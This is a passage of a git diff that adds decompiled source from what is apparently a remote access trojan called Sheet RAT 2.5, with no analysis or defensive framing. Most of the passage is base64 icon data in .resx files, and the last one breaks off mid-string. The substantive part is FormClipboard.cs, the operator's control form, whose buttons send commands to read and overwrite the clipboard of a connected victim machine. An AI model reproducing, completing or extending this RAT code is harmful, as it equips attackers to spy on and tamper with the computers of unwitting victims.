j//y2Hv/8vg7j/L4O4/y5egP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBgwEBAVsBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8Dp/z/LTVC/xkLCP8Cp/7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8sicL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAVsBAQEuAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//KVJv/wIBAf8ZCwj/Aqf+/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LInC/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAfwBAQEuAQEBAAEBAcUBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/GQsI/wKn/v8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//yyJwv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQHFAQEBAAEBAQABAQGKAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LYe//w0FBP8BAQH/AQEB/xkLCP8Cp/7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8sicL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEBigEBAQABAQEAAQEBSwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8sWnr/AKj//wCo//8AqP//AKj//wCo//8AqP//F53n/xcKCP8BAQH/AQEB/wEBAf8YCgj/B6X5/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LYe//wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAUsBAQEAAQEBAAEBAQoBAQHBAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/JA8L/zFrkv8xa5L/MWuS/zFrkv8xa5L/MGmQ/yQPC/8BAQH/AQEB/wEBAf8BAQH/CgQD/y9hhf8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWeN/zFnjf8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWuS/yhPa/8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAcEBAQEKAQEBAAEBAQABAQEAAQEBdwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQF3AQEBAAEBAQABAQEAAQEBAAEBASoBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQHYAQEBKgEBAQABAQEAAQEBAAEBAQABAQEAAQEBgwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEBgwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBASwBAQHQAAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA0AEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBcgEBAf8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAXIBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAREBAQGrAQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAasBAQERAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBRAEBAdoBAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8BAQH/AQEB/wEBAdoBAQFEAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB/QEBAf8BAQH/AAAA/wAAAP8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf0BAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAYgBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQGIAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBmQEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGZAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGfAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGfAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBHwEBAZkBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGZAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBiAEBAf0BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf0BAQGIAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB2gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAdoBAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAUQBAQGrAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAasBAQFEAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBEQEBAXIBAQHQAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB0AEBAXIBAQERAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBKgEBAXcBAQHBAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAcEBAQF3AQEBKgEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBCgEBAUsBAQGKAQEBxQEBAfwBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAfwBAQHFAQEBigEBAUsBAQEKAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAQEB/AAAAPwBAQHwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEA////AAD///////AAAA//////wAAAA/////8AAAAA/////AAAAAA////4AAAAAB////AAAAAAD///wAAAAAAD//+AAAAAAAH//wAAAAAAAP/+AAAAAAAAf/4AAAAAAAB//AAAAAAAAD/4AAAAAAAAH/AAAAAAAAAP8AAAAAAAAA/gAAAAAAAAB+AAAAAAAAAHwAAAAAAAAAPAAAAAAAAAA4AAAAAAAAABgAAAAAAAAAGAAAAAAAAAAYAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAcAAAAAAAAADwAAAAAAAAAPgAAAAAAAAB+AAAAAAAAAH8AAAAAAAAA/wAAAAAAAAD/gAAAAAAAAf/AAAAAAAAD/+AAAAAAAAf/4AAAAAAAB//wAAAAAAAP//gAAAAAAB///AAAAAAAP///AAAAAAD///+AAAAAAf///8AAAAAD////8AAAAA/////8AAAAP/////8AAAD///////AAD///8L + + \ No newline at end of file diff --git a/Server/Server/Forms/FormClipboard.cs b/Server/Server/Forms/FormClipboard.cs new file mode 100644 index 0000000..9c6f7f3 --- /dev/null +++ b/Server/Server/Forms/FormClipboard.cs @@ -0,0 +1,171 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormClipboard +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormClipboard : MetroForm +{ + public Clients client; + public Clients ParentClient; + private IContainer components; + public Timer timer1; + private MetroButton button1; + private MetroButton metroButton1; + public MetroTextBox textBox1; + + public FormClipboard() => this.InitializeComponent(); + + private void _FormClosing(object sender, FormClosingEventArgs e) + { + this.timer1.Stop(); + if (this.client != null) + this.client.Disconnected(); + e.Cancel = false; + } + + private void Form1_Load(object sender, EventArgs e) + { + this.FormClosing += new FormClosingEventHandler(this._FormClosing); + if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime) + return; + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.button1.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.textBox1.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.button1.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.textBox1.Theme = Customs.customs.Theme; + } + this.Refresh(); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.ParentClient.Connect) + return; + this.Close(); + } + + private void button1_Click(object sender, EventArgs e) + { + if (this.client == null) + return; + this.client.Send((object) "GetClipboard"); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.client == null) + return; + this.client.Send((object) ("SetClipboard<@>" + Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text)))); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormClipboard)); + this.timer1 = new Timer(this.components); + this.textBox1 = new MetroTextBox(); + this.button1 = new MetroButton(); + this.metroButton1 = new MetroButton(); + this.SuspendLayout(); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.textBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.textBox1.CustomButton.Image = (Image) null; + this.textBox1.CustomButton.Location = new Point(160 /*0xA0*/, 1); + this.textBox1.CustomButton.Name = ""; + this.textBox1.CustomButton.Size = new Size(329, 329); + this.textBox1.CustomButton.Style = MetroColorStyle.Blue; + this.textBox1.CustomButton.TabIndex = 1; + this.textBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.textBox1.CustomButton.UseSelectable = true; + this.textBox1.CustomButton.Visible = false; + this.textBox1.Lines = new string[0]; + this.textBox1.Location = new Point(23, 63 /*0x3F*/); + this.textBox1.MaxLength = (int) short.MaxValue; + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.PasswordChar = char.MinValue; + this.textBox1.ScrollBars = ScrollBars.None; + this.textBox1.SelectedText = ""; + this.textBox1.SelectionLength = 0; + this.textBox1.SelectionStart = 0; + this.textBox1.ShortcutsEnabled = true; + this.textBox1.Size = new Size(490, 331); + this.textBox1.Style = MetroColorStyle.Lime; + this.textBox1.TabIndex = 8; + this.textBox1.Theme = MetroThemeStyle.Dark; + this.textBox1.UseSelectable = true; + this.textBox1.UseStyleColors = true; + this.textBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.textBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.button1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.button1.Location = new Point(23, 400); + this.button1.Name = "button1"; + this.button1.Size = new Size(93, 31 /*0x1F*/); + this.button1.Style = MetroColorStyle.Lime; + this.button1.TabIndex = 8; + this.button1.Text = "Get Clipboard"; + this.button1.Theme = MetroThemeStyle.Dark; + this.button1.UseSelectable = true; + this.button1.UseStyleColors = true; + this.button1.Click += new EventHandler(this.button1_Click); + this.metroButton1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroButton1.Location = new Point(122, 400); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(93, 31 /*0x1F*/); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 9; + this.metroButton1.Text = "Set Clipboard"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(536, 442); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.button1); + this.Controls.Add((Control) this.textBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormClipboard); + this.ShowIcon = false; + this.Style = MetroColorStyle.Lime; + this.Text = "Clipboard"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.Form1_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormClipboard.resx b/Server/Server/Forms/FormClipboard.resx new file mode 100644 index 0000000..a44d81d --- /dev/null +++ b/Server/Server/Forms/FormClipboard.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAD5CAAACAAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAABMLAAATCwAAAAAAAAAAAAABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAAAA/AAAAPwAAADwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEKAQEBSwEBAYoBAQHFAQEB/AEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/AEBAcUBAQGKAQEBSwEBAQoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBASoBAQF3AQEBwQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHBAQEBdwEBASoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQERAQEBcgEBAdABAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHQAQEBcgEBAREBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFEAQEBqwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGrAQEBRAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBA